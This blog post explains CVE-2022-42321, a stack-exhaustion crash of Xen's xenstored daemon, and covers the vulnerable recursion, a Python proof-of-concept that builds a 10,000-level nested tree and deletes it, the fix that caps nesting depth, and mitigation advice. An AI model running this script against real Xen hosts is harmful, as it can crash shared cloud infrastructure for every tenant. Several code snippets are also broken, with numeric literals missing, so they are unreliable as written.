Xen is one of the world’s most widely used hypervisors, powering everything from Linux VMs to enterprise clouds. But like all software, it’s not invulnerable. One critical bug that got a lot of attention was CVE-2022-42321, which lets malicious guests crash the “xenstored” daemon by simply asking it to overwork its own call stack.

In this post, I’ll go over what this bug is, show you exactly how it works (with simplified code snippets), and point out mitigation steps. All in plain language. Let’s dig in.

What Is Xenstore and Why Does It Matter?

First, some very quick background.
Xenstore is a tiny database daemon (xenstored) running on the host. It keeps track of all sorts of information about running VMs (virtual machines, or “guests” in Xen-speak). This information might be things like network settings, device attach/detach notifications, or shared state.

Guests talk to a backend called xenstored, which runs as a daemon process and listens for requests, handling things like “create a new key” or “delete a directory of keys.”

If xenstored goes down, a lot of VM operations break. Some VMs might freeze; others lose network ability or can’t be gracefully managed. In short: xenstored crashing is bad.

What Was the Bug? Deep Nesting Breaks the Stack

The CVE-2022-42321 bug was all about *recursion*—when a function calls itself, over and over, usually to walk a tree structure.

Xenstore lets you create nested directories (think: /vm/foo/bar/vif//mac). But nobody stopped guests from nesting way, way deeper than any sane path should go.

When xenstored needs to delete a directory and everything inside, its deletion function calls itself *recursively*:

void delete_node(Node *node) {
    for (Node *child = node->first_child; child != NULL; child = child->next) {
        delete_node(child); // <-- THIS IS THE RECURSION
    }
    free(node);
}

If you build a structure that’s, say, 10,000 levels deep, and then ask for it to be deleted, that’s 10,000 recursive calls — and you’ll overflow the process’s stack.

Result:
The whole xenstored daemon just crashes—can’t handle that much call stack usage.

Exploit Details – How Can Guests Trigger It?

If you’re a guest VM, and you can write to your own xenstore tree, you can do this *without any special privileges*. You just need to create an extremely deep nested set of directories via normal Xenstore operations.

Here’s how an exploit would look, written in Python using the python-xenstore bindings:

Exploit Pseudocode

import xenstore

def create_deep_tree(path, depth):
    if depth == :
        return
    new_path = f"{path}/child"
    xenstore.mkdir(new_path)
    create_deep_tree(new_path, depth - 1)

# Connect to xenstore as the current domain/VM
# Note: In reality, you may need to handle authentication/setup
# But this gives the gist

# Start from our VM's node (e.g., "/local/domain/42/user")
base_path = "/local/domain/42/user"

# Create a tree 10,000 levels deep
create_deep_tree(base_path, 10000)

# Now delete the base path; cause recursive deletion
xenstore.rmdir(base_path)

*Running this, the next call to rmdir will cause xenstored to eat through its stack and crash.*

All Xen guests on the host may lose track of their state

- VMs might lose ability to hotplug/disconnect devices

Who’s Affected?

- All Xen versions before the patched releases

How Was It Fixed?

The Xen Project Security Advisory XSA-423 describes the fix. Short version: the maintainers capped the maximum directory nesting that xenstored will walk recursively. Once that limit is hit (the advisory says default is 100 levels), xenstored just refuses to go deeper.

Relevant patch (from xen.git):

#define MAX_NESTING 100

int delete_node(Node *node, int level) {
    if (level > MAX_NESTING)
        return -1; // abort recursion

    for (Node *child = node->first_child; child != NULL; child = child->next) {
        if (delete_node(child, level+1) < )
            return -1;
    }
    free(node);
    return ;
}

*So, now you can't blow up the stack by nesting a million levels deep.*

Audit VM Images:

For multi-tenant setups (cloud/VPS), review images and user ability to write to xenstore.

References

- Xen Security Advisory 423 (XSA-423): Xenstore: Guests can crash xenstored via exhausting the stack
- Xen Commit: limit recursion depth
- CVE-2022-42321 entry on MITRE
- python-xenstore on GitHub

Conclusion

CVE-2022-42321 shows that sometimes, even “simple” logic bugs—like not managing recursion depth—can bring entire VM hosts to their knees. If you run Xen, especially multi-tenant clouds, make sure you’re patched. Otherwise, an untrusted guest can crash things for everyone.

If you want to play with these ideas safely, try it in a VM lab—*never on production*.

Timeline

Published on: 11/01/2022 13:15:00 UTC
Last modified on: 11/03/2022 14:40:00 UTC